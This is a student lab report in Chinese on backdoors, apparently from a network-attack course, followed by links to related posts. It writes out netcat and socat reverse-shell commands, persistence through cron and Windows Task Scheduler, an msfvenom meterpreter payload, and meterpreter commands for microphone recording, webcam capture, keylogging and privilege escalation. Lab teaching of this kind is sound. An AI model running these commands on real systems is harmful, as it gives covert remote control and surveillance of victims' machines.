20155236范晨歌 Exp2后门原理与实践
## 实验二 后门原理与实践
1.Windows获得Linux Shell
在windows下,打开CMD,使用ipconfig指令查看本机IP
ncat.exe -l -p 5236
监听本机的5236端口
在kali端,使用nc指令的-e选项,nc XXX.XXX.XXX.XXX(主机ip) 5236(所设置的端口) -e /bin/sh反向连接Windows主机的5236端口:
在windows端,就可以使用kali的命令行
2.Linux获得Windows Shell
1)在Kali环境下用ifconfig
查看IP
2)使用nc指令,nc -l -p 5236
,监听5236端口
然后,在windows,输入ncat.exe -e cmd.exe 192.168.128.128 5236
然后,在kali端,就可以使用windows的cmd了
3.使用netcat获取主机操作Shell,cron启动
1)先在Windows系统下,ncat.exe -l -p 5236
,监听5236端口
用crontab -e
指令编辑一条定时任务
在最后一行加入XX * * * * /bin/netcat XXXXXXX 5236 -e /bin/sh
,意思是在每个小时的第XX分钟(为测试结果方便所选时间最好离现实时间较近)反向连接Windows主机的5236端口,就会启动cron
2)到时间后,便获得了Kali的shell,可以输入指令
4.使用socat获取主机操作Shell, 任务计划启动
1)在Windows系统下,打开控制面板->管理工具->任务计划程序(可在控制面板直接搜索任务计划),创建任务,填写任务名称后,新建一个触发器:
2)下载安装socat软件,下载地址
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5236 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5236,同时把cmd.exe的stderr重定向到stdout上:
3)创建完成之后,按Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行,或者可以右键单击,然后选择运行也可以
然后在Kali环境下输入指令socat - tcp:192.168.128.129:5236
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5236端口,此时可以发现已经成功获得了一个cmd shell
5.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1)在kali中输入命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.128 LPORT=5236 -f exe > 20155236.exe
生成后门程序(LHOST=kali linux的IP)
然后通过nc指令将生成的后门程序传送到Windows主机上
- windows:
ncat.exe -l 5236 > 20155236.exe
- kali:
nc 192.168.128.128 5236 < 20155236.exe
在Kali上使用msfconsole
指令进入msf控制台,set payload windows/meterpreter/reverse_tcp
,使用监听模块,设置payload,设置反弹回连的IP和端口
2)设置完成后,利用exploit,执行监听,在windows中运行20155236.exe
3)此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
6.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic指令可以截获一段音频
- 使用webcam_snap指令可以使用摄像头进行拍照
- 使用webcam stream指令可以使用摄像头进行录像
- 使用screenshot指令可以进行截屏
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
先使用getuid指令查看当前用户,使用getsystem指令进行提权。
基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
- 安装一些应用软件时
- 登录非法网页时
2.例举你知道的后门如何启动起来(win及linux)的方式?
- windows:实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序
- linux:通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。
3.Meterpreter有哪些给你映像深刻的功能?
- 获取目标主机摄像头摄像头摄像头
录音
4.如何发现自己有系统有没有被安装后门?
低级一点的后门程序估计寻常的杀毒软件就可以查杀,比如我这次实验做的,一发送给主机就被360拦截了。
至于隐藏的稍深一些的后门,例如与软件捆绑的后门,可以下载一些比较专业的监视软件,例如下载者监视器1.0、Regmon704.rar等进行检测。
20155236范晨歌 Exp2后门原理与实践的更多相关文章
- 20155236范晨歌_EXP3免杀原理与实践
20155236范晨歌_免杀原理与实践 免杀 概述 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字 ...
- 20155236范晨歌_Web安全基础实践
20155236范晨歌_Web安全基础实践 目录 实践目标 WebGoat BurpSuite Injection Flaws Cross-Site Scripting (XSS) 总结 实践目标 ( ...
- 20155236范晨歌_Web基础
20155236范晨歌_Web基础 目录 实践目标 Apache 前端编程 后端编程 PHP MYSQL & 后端 简单SQL注入与XSS 发帖和会话管理 实践目标 (1)Web前端HTML ...
- 20155236范晨歌_MSF基础应用
20155236范晨歌_MSF基础应用 20155236范晨歌_MSF基础应用 目录 概述 MS08-067漏洞攻击 MS11-050漏洞攻击 MS10-087漏洞攻击 辅助模块 概述 MSF的六种模 ...
- 20155236范晨歌 Exp7 网络欺诈技术防范
20155236范晨歌 Exp7 网络欺诈技术防范 虚拟机经常崩= =,所以基本上做一个实验换一个... 遇到了一个简单的小问题老师帮忙解决了:虚拟机没联网... 一.基础问题回答 通常在什么场景下容 ...
- 20155236范晨歌_exp6信息搜集与漏洞扫描
20155236范晨歌_exp6信息搜集与漏洞扫描 目录 实践目标 信息搜集 漏洞扫描 总结 实践目标 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口 ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
随机推荐
- springboot 文件上传 java.io.IOException: The temporary upload location [/tmp/xx] is not valid
转自:http://meia.fun/article/1541578061808 首先分析下出现问题的原因:linux 下的 /tmp 目录,是用来存储由各种程序创建的临时文件的地方.一些配置,导致系 ...
- 11.Spring——JDBC框架
1.DBC 框架概述 2.Spring JDBC 示例 3.Spring 中 SQL 的存储过程 1.DBC 框架概述 在使用普通的 JDBC 数据库时,就会很麻烦的写不必要的代码来处理异常,打开和关 ...
- USMT
备份当前用户状态:scanstate /i:miguser.xml /i:migapp.xml /i:migdocs.xml /config:config.xml c:\migstorefolder ...
- 工具-github在linux下面没有git push报错
time: 2015/12/25 1. 描述: error: The requested URL returned error: 403 Forbidden while accessing https ...
- [转]SQL Server 数据库定时自动备份
前提:在使用下面的备份方式之前需要确保你的Sqlserver Agent服务启动,切设置为自动启动.否则当你服务器重启了但是Agent服务没有启动,那么自动备份任务就不会执行 (一)使用TSql代码自 ...
- 文件夹名为单字符时右击弹出C++错误
原因:操作系统安装有虚拟光驱软件——WinMount,此错误为WinMount的一个Bug 解决方法: 打开Windows注册表,定位此注册表并删除即可 [HKEY_CLASSES_ROOT\Dire ...
- CSS学习摘要-浮动与清除浮动
以下从浮动到BFC的段落 摘自MDN 网络开发者 float 浮动 float CSS属性指定一个元素应沿其容器的左侧或右侧放置,允许文本和内联元素环绕它.该元素从网页的正常流动中移除,尽管仍然保持部 ...
- TFS使用笔记——合并不同分支的代码
问题描述:我们需要把2.37中改动的代码合并到2.38当中. 查看“Pending Changes”,单击“Change”列排序,查看merge的items,然后选中merge的items,最后“Ch ...
- Apache Hadoop各版本发布的SVN地址
http://svn.apache.org/repos/asf/hadoop/common/tags
- 学习python第三天单行函数
1.去重:distinct关键字 需求:查看公司一共有多少部门? select department_id from employees;此代码会查出107条记录,存在部门重复的问题! select ...